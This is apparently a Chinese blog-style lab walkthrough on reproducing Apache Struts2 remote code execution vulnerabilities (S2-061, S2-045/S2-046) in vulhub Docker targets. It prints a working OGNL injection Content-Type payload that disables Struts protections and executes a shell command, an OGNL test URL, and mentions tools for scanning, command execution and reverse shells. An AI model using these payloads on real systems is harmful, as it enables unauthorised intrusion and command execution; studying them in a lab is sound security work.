简介
struts2漏洞中属s2系列杀伤力最大,可以造成远程命令执行漏洞。
Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。
环境识别
网页后缀带.action或者.do的极可能是struts2框架。
环境搭建
在github官网下载镜像安装在kali上 https://github.com/vulhub/vulhub 启动docker环境 service docker start 找到镜像的目录 cd ./vulhub-master/struts2/s2-061 随后拉取镜像启动环境 ocker-compose up -d
s2-061漏洞复现
参考链接:Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)复现_山山而川'的博客-CSDN博客
Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)复现_锋刃科技的博客-CSDN博客
验证是否存在该漏洞,以下是测试payload。
http://192.168.3.108:8080/?id=%25%7b+%27test%27+%2b+(2021+%2b+20).toString()%7d
可以看出我们的加法运算成功了,因此存在该漏洞。
验证存在漏洞后,我们直接进行命令执行
s2-045/s2-046漏洞复现
S2-046与 S2-045 类似,只是攻击字段发生变化。修复方案依然与 S2-045 相同。
启动环境
访问靶场
随便选择和输入文件,随后进行抓包
payload
Content-Type:"%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
strust2漏洞综合利用工具
liqunkit
扫描出存在s2-045和s2-046漏洞
可以直接进行命令执行
strust2scan
对目标进行扫描,由于s2-045和s2-046类似,因此扫描的是46
进行反弹shell,要记住这里反弹shell的参数是 -lr ,端口任意
xray
开启监听
挂上代理直接扫描成功
启动和关闭
docker ps查看当前启动的容器,发现没有运行的
docker ps -a 查看历史运行的容器
docker start 4f5s(前四位ID即可) 启动我们想要启动的容器
学习完记得关闭容器